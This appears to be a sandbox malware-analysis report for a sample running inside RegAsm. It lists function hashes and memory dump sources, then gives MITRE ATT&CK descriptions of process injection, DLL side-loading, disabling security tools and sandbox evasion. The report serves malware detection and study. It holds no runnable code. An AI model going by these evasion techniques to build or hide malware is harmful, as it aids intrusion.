Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d34ac7e6ccdca34e16ed79f56859302bf2ea11662b554ddcc60c289891f772e7
Instruction ID: c21af0879511abb876e6b3d2cfc9301c10bea00110d47874bb0f2da812cd0f80
Opcode Fuzzy Hash: d34ac7e6ccdca34e16ed79f56859302bf2ea11662b554ddcc60c289891f772e7
Instruction Fuzzy Hash: 4B21D572D143489FDB14CF99DC19BDEBBF9EB85310F04816AE444A3651D778540ACBB1

Function 00EAD47C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3906284162.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ead000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 167fa1b4a35e4bac5f1b23302da5451097390237a4bf7625a16ecf0152cbb6cd
Instruction ID: c412f1faaf2eb91d6ca1051b0902419612acb6b4b2c3e009afe9f146757f9578
Opcode Fuzzy Hash: 167fa1b4a35e4bac5f1b23302da5451097390237a4bf7625a16ecf0152cbb6cd
Instruction Fuzzy Hash: DB212275A08304DFDB00DF10D980B16BBA1FB8D728F24C5ADE80A5F646C336E846CB62

Function 00EAD2CC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3906284162.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ead000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bf9227b605f21e563fde286565cb99cf7296c8fcde1b7fab0bc9adfe90b38c9
Instruction ID: 0de29210c1d93075c7c8a0f6a32060d85c80ad7952a3cced4188c7e1da952af8
Opcode Fuzzy Hash: 6bf9227b605f21e563fde286565cb99cf7296c8fcde1b7fab0bc9adfe90b38c9
Instruction Fuzzy Hash: 552149B5108304DFDF00DF10DCC4B26BB65FB89724F24C569D84A1FA41C375E80ACA62

Function 00EAD110 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3906284162.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ead000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 507f0fe5dba6e9050f55065a0f1e8316db17f0ec6ee31006adc84689d530ac00
Instruction ID: 7179d4edf4b17d76088ddecf138b131f450a155ddcdf60256c0085c630e153c3
Opcode Fuzzy Hash: 507f0fe5dba6e9050f55065a0f1e8316db17f0ec6ee31006adc84689d530ac00
Instruction Fuzzy Hash: 41210075608304DFDB04DF10DD80B26BBA1EB99718F20C5A9D84A5FA46C336E846CA61

Function 06975EF8 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e5ec20bd47a87043aeb28aa4d756b2721a50da91e95a33147f94c61547d2b7
Instruction ID: 5207199d790edd14ccc1ac6babe023b2204ad5db8c2a393eb91e42672ce83238
Opcode Fuzzy Hash: a2e5ec20bd47a87043aeb28aa4d756b2721a50da91e95a33147f94c61547d2b7
Instruction Fuzzy Hash: 6B216D357102149FDB88DB68C958BAE7BF6AF88B10F214059E506EB3A0DF709C019B91

Function 06974800 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2376a37eb4fa38bc426903ffc7bd87e33d2bc1060f8b363a640d2b73356b1336
Instruction ID: 1097a080b5c33180208a8821922f2001aa3e271ec785324a310a71d22237faa7
Opcode Fuzzy Hash: 2376a37eb4fa38bc426903ffc7bd87e33d2bc1060f8b363a640d2b73356b1336
Instruction Fuzzy Hash: C21108357002554FD718DE7AD810BAA7B9AEFC5A5172481BAF504CF275CB30CC52C7A0

Function 069761A1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7626f61209bbfcdb9289beb182cacc22a218d43d42a9b64613c4e310608aea17
Instruction ID: 18cb01dcff8dddb1a385de7330ce66e2032172c61f0d19beffe6bd49d042cb2c
Opcode Fuzzy Hash: 7626f61209bbfcdb9289beb182cacc22a218d43d42a9b64613c4e310608aea17
Instruction Fuzzy Hash: 5B21A170A005159FCB84EF54C984AAAFB76FF81300B5584A5E454ABA92D730FC02CBE1

Function 06975F08 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42edffdc4878604bc6575d80a5932cfbcaa797f2913d2d51a47f550b3c6bbf03
Instruction ID: aeb0d3672733a6e40eab915f25b50a8b9b8af92e1052d576906670b9655b16e8
Opcode Fuzzy Hash: 42edffdc4878604bc6575d80a5932cfbcaa797f2913d2d51a47f550b3c6bbf03
Instruction Fuzzy Hash: E2216030B102148FDB94DB78D958B6E7BFAAF88B10F214159E506EB7A4DF719C009B91

Function 069766D9 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d69acd67f959efb2b1fa5d0548ecd999f6d68f0c0030f19664f1ec4807d7de2
Instruction ID: 894b957fcd8ccbb605779aa5f156213ab12ee12103d6b351b139d9d8a229686e
Opcode Fuzzy Hash: 4d69acd67f959efb2b1fa5d0548ecd999f6d68f0c0030f19664f1ec4807d7de2
Instruction Fuzzy Hash: 15117230B502159FDB549F29C898FAEBFA6EF88B10F144059E905AB3A5CB719C41CBA0

Function 06977287 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85db3d0ecf33d738f434b01f3d1d470e6c46312565f3db56c9904e59da84d853
Instruction ID: 6c62307a83dcdf3bca4b08098c692684e0e8e40cfa7e4b1523e1864f3e12c2c4
Opcode Fuzzy Hash: 85db3d0ecf33d738f434b01f3d1d470e6c46312565f3db56c9904e59da84d853
Instruction Fuzzy Hash: C8119E70711115AFDB189B58C959BAF7BEAEF88B01F204069F502EB390CFB19C018BA4

Function 06976A38 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 790072bba4bc1971330ffed48521641b14860effdb61dd6ba23a44c6d67ef463
Instruction ID: 7f68d1f6cd5552b08a204afae8266616a25087597334ed51c5dcb8f78d567a25
Opcode Fuzzy Hash: 790072bba4bc1971330ffed48521641b14860effdb61dd6ba23a44c6d67ef463
Instruction Fuzzy Hash: 6C112670600396AFDB41FF38E804A5E7FA6EBC2604B108659D4044F346DB74A90787D1

Function 069734F0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7438e720f8970b7715f09238db3cff85814b35ffdfe02f0ba0e011dfe0e17cba
Instruction ID: 1b55708a1f35fc1c914c5207f53d47ea149ca1e4951db4cfffc1fcffd0e481f9
Opcode Fuzzy Hash: 7438e720f8970b7715f09238db3cff85814b35ffdfe02f0ba0e011dfe0e17cba
Instruction Fuzzy Hash: 9411FA76300214DFDB04DF59E898D5A7B6AEF8C721B248156FA058B366CB72DC11DBA0

Function 00EAD477 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3906284162.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ead000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5598050a76b1bbb03a66d3720a50d8acb638a64c40f8b375dc4a1e083d93ad6
Instruction ID: f9dfb108a3c6f0398a6574d4c71c1d2b9d16f7a7e5ff125a9deeb301f134cc1c
Opcode Fuzzy Hash: e5598050a76b1bbb03a66d3720a50d8acb638a64c40f8b375dc4a1e083d93ad6
Instruction Fuzzy Hash: CC118E75908284DFDB05CF14D9C4B15BB62FB89318F24C6A9D84A4F656C33AE84ACF52

Function 00EAD10B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3906284162.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ead000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5598050a76b1bbb03a66d3720a50d8acb638a64c40f8b375dc4a1e083d93ad6
Instruction ID: 357e0487d6379e91f6aa9c4d099c3d56d44b1785fd6a6eaf6c56985c85cd4168
Opcode Fuzzy Hash: e5598050a76b1bbb03a66d3720a50d8acb638a64c40f8b375dc4a1e083d93ad6
Instruction Fuzzy Hash: 6311BE79508284CFCB05CF10D9C0B15BBB1FB59318F24C6A9D84A4F656C33AE84ACB51

Function 00EAD2C7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3906284162.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ead000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04265b2b14370c68bf11c7d3e0dc4a2b410be88e4de6bed123b20a8b310ed428
Instruction ID: 93b24cb5deafb206b43e12bd47ef5c57bfe7eabc9e55951b1374eb78c71361d8
Opcode Fuzzy Hash: 04265b2b14370c68bf11c7d3e0dc4a2b410be88e4de6bed123b20a8b310ed428
Instruction Fuzzy Hash: 3F11B675508684CFCB11CF14D9C4719FF61FB85324F24C5A9D8495BA46C339E44ACB52

Function 06976A48 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e840a8a232b4288939a66a4bac31d0ccafbdae1aa13a7c5fe89cfb81ed0b1d60
Instruction ID: 92df594826a60ac1f1345b3645920dd69f3f876011c34ca64f69f4cdadb59faf
Opcode Fuzzy Hash: e840a8a232b4288939a66a4bac31d0ccafbdae1aa13a7c5fe89cfb81ed0b1d60
Instruction Fuzzy Hash: 6D117C70A003969FDB85FF39E844A5E7BA6EBC1A08B108659C4054F34ADB75AA078BC5

Function 0697698E Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6805a172ac15d6e02b940e16b93df92a65c04fbb668839b225ac111404310586
Instruction ID: 33ffa6e2f45786afdf6c2a22eab380cc46a18f98d0bf167d15dbb4f9f5c23690
Opcode Fuzzy Hash: 6805a172ac15d6e02b940e16b93df92a65c04fbb668839b225ac111404310586
Instruction Fuzzy Hash: 2B11E279A48646DFE710CF11D899F59BBB0EF91720F24009AD105CBAB5D7759804CF90

Function 06974798 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7a027e851598d5d25ac37f14ffaad63b097759dac45a115129177605c71b1f1
Instruction ID: 919deb53a8e98b32e12d33387043e3563319d42698920892f337795f8c5dd786
Opcode Fuzzy Hash: c7a027e851598d5d25ac37f14ffaad63b097759dac45a115129177605c71b1f1
Instruction Fuzzy Hash: E30162353082596F8B01CB69D844C9FBFBAFF8D21035580AAF549C7222CA31DD068BA0

Function 06972DF7 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a211f391845d709266f3ac58ee04f0b73c4cb658099a803f81eb5cba997f532
Instruction ID: 35ab36aa74fdfacd97ecd662b8178f33d9c452eb401d80aed0ff39a12dbb979a
Opcode Fuzzy Hash: 1a211f391845d709266f3ac58ee04f0b73c4cb658099a803f81eb5cba997f532
Instruction Fuzzy Hash: E3017C70904309DFCB44DFA5E845AAABBF5FF48300F20896DD959A7610D370AA42CB90

Function 06974CA2 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f14b506039414a27277312ca075035e009a8467b5495b21222245bb6e536da38
Instruction ID: e262132d1265b21e5216248db442ae8bd225e7f24f1e5f918d4b04c0b9ad7139
Opcode Fuzzy Hash: f14b506039414a27277312ca075035e009a8467b5495b21222245bb6e536da38
Instruction Fuzzy Hash: B2F0F0311053A06FD32157669C509B3BFBDFFC6721B14815FF98583942C674A819D7B1

Function 06972E08 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c442cc780f2cf2d8f6983fcecd2461270ba7f83d648bb4067f6356f45ae6e749
Instruction ID: 70894e7ff8a4384427c8c31779550102ef66bdb88c7dc94b246761cbd2a92039
Opcode Fuzzy Hash: c442cc780f2cf2d8f6983fcecd2461270ba7f83d648bb4067f6356f45ae6e749
Instruction Fuzzy Hash: E3F03770D00319CFCB44DFA9E841AAEBBF1FF48310F208929D959A7610D731AA42CF80

Function 069745D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c82256e676403e110d75189de0743e7f8d1fb46a15afa0d8bdeb93fb89fe702
Instruction ID: 230744acfbfbb5d6d186be972d45d56c2ebf68919cce9d53e27aecb54fc93a30
Opcode Fuzzy Hash: 4c82256e676403e110d75189de0743e7f8d1fb46a15afa0d8bdeb93fb89fe702
Instruction Fuzzy Hash: 8BE0D85131E3A02BC74566AE6C5042BBFE9DFC655070405AFE64CCB383CC555D0643F5

Function 06975BCA Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdd51b17e2b6e56b63a601a9b100bfd2618c02a0d6d1e9561db503922de88136
Instruction ID: 4cad86cc30166de6e8fce23e142a3bf83fa586e9d36a5034795d2bda3f824652
Opcode Fuzzy Hash: fdd51b17e2b6e56b63a601a9b100bfd2618c02a0d6d1e9561db503922de88136
Instruction Fuzzy Hash: 52E0E571A01208BF9B44DFB0CC019AB77EADB80144700C56CE405A7110FE31AA069790

Function 06975D8A Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 929372d1ab581f719480aed0ce9464466fc17d83f24330f888624e833d2b9a83
Instruction ID: 672482bd5237d566d6d69e9597d05a8c975531ced6701790fe8ace9d22e044e7
Opcode Fuzzy Hash: 929372d1ab581f719480aed0ce9464466fc17d83f24330f888624e833d2b9a83
Instruction Fuzzy Hash: A4E0DF30A06308AFCB44CF70CC909ABBBFADF421447008299E409DB201EA309E168791

Function 06975BD0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a47dd038ee8839fc647c4f3495e250f09b9f8ebc5caa3d6547f585dabc9875a
Instruction ID: e239581d8294c928c25c4649da9a413aa9413932677320d34009bad5607d971f
Opcode Fuzzy Hash: 7a47dd038ee8839fc647c4f3495e250f09b9f8ebc5caa3d6547f585dabc9875a
Instruction Fuzzy Hash: 11E09A31A01209AF9B44EFB1CD0096FBBEAEB80244700C568E909AB210EA31AA019B80

Function 069745E8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af60d0c98b1ddf61e998172bb0b0575b3b90799d60e439c13c514f0e57964da
Instruction ID: dd8731398ee547fc84afd7a254b0f3caa5c6b3034925be3f69cb04b10a6739c3
Opcode Fuzzy Hash: 8af60d0c98b1ddf61e998172bb0b0575b3b90799d60e439c13c514f0e57964da
Instruction Fuzzy Hash: 05D05E62312120278794B69F688052FA6CEEFC99A1B50543EE70DD7781CD669C0643E9

Function 06975D98 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 798c3b75f225d65d84ebf8c388c4ee6d0b6a4fe1278714e842c8add1873c74ca
Instruction ID: 21319a184759e11e85af915a74b7d023c9cb6728664755c80c6bce42f6fcf306
Opcode Fuzzy Hash: 798c3b75f225d65d84ebf8c388c4ee6d0b6a4fe1278714e842c8add1873c74ca
Instruction Fuzzy Hash: 26D05E30B01208EF8B44CF75DD5556FB7EBEB81144B10C1A8E808D7200FE31EE029B80

Non-executed Functions

Function 06977460 Relevance: 3.5, Strings: 2, Instructions: 1042COMMON

Download Yara Rule

Strings

D@, xrefs: 069780D0
D@, xrefs: 06978106

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: D@$D@
API String ID: 0-3862852415
Opcode ID: c140833de49fdf0909b6c2e4d01c6bad1939981bda1c15ea463a196fe948861a
Instruction ID: 9c7a07c9102b9d576dac820275226b7775c7a682c9071d4cc26d9b797b0a6334
Opcode Fuzzy Hash: c140833de49fdf0909b6c2e4d01c6bad1939981bda1c15ea463a196fe948861a
Instruction Fuzzy Hash: 28826D30B002048FDB54EF75C894B6EBAE2BFC4700F608579E50A9F7A6DB759D068B91

Function 06229F3D Relevance: 1.7, Strings: 1, Instructions: 407COMMON

Download Yara Rule

Strings

|k.t, xrefs: 0622A1D9

Memory Dump Source

Source File: 00000005.00000002.3916033647.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6220000_RegAsm.jbxd

Similarity

API ID:
String ID: |k.t
API String ID: 0-406870256
Opcode ID: 7fd0f36868f1108ca4cafa741d61613389896e4e8da244f45f5d1ade0b9f2dc1
Instruction ID: a9524103ae3ea90372d4b8401331e1c28025e6f10b0f0ed285c024f5117d76dd
Opcode Fuzzy Hash: 7fd0f36868f1108ca4cafa741d61613389896e4e8da244f45f5d1ade0b9f2dc1
Instruction Fuzzy Hash: E7F1E1307007128FD715DB35C498A6ABBE2BFC8701B1488A9D986CB7A2DF74EC45DB91

Function 06970040 Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edfb83e81b2dbe955233f3f87acc9b43464f73104f4b490c3f5e9634ab272dd2
Instruction ID: 164cbd8b142d1460235cb76036a17b436b47c8c822ab43e41981d6e7760ecbdd
Opcode Fuzzy Hash: edfb83e81b2dbe955233f3f87acc9b43464f73104f4b490c3f5e9634ab272dd2
Instruction Fuzzy Hash: FB222630D1072ACFEB60DF64C844B99B7B6BF95300F118699D9497B251EB70AAC9CF90

Function 02A12792 Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3907101299.0000000002A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b773d6d2bdc896dbf0de41ad9e5c2356e8e83bf05bf7dc8f98421df6547cb5
Instruction ID: a89b64d90e6411566b7223f7f173cdf327a2490b3705217255bdb9c939cb8653
Opcode Fuzzy Hash: e5b773d6d2bdc896dbf0de41ad9e5c2356e8e83bf05bf7dc8f98421df6547cb5
Instruction Fuzzy Hash: 44917136F0432547EB188ABD8DD13AEA1A39BC4225F4D8139DE42DF799EE74ED025380

Function 069751F0 Relevance: 5.1, Strings: 4, Instructions: 147COMMON

Download Yara Rule

Strings

D@, xrefs: 06975561
D@, xrefs: 0697533D
, xrefs: 06975688
D@, xrefs: 0697562A

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: $D@$D@$D@
API String ID: 0-4209215483
Opcode ID: 76902f4765f169f7387b0bae12b9794083468444997e37a3fc809bb933a9ef91
Instruction ID: 7fbeb621389a4751bebb19aa95a4d2e4cd5a6f60e0697aa3d728f9b7d7957d76
Opcode Fuzzy Hash: 76902f4765f169f7387b0bae12b9794083468444997e37a3fc809bb933a9ef91
Instruction Fuzzy Hash: CB515B30A10205CFDB84DFA8C48866EB7F2FF88300F618469D916EB655DB71ED46CB90

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

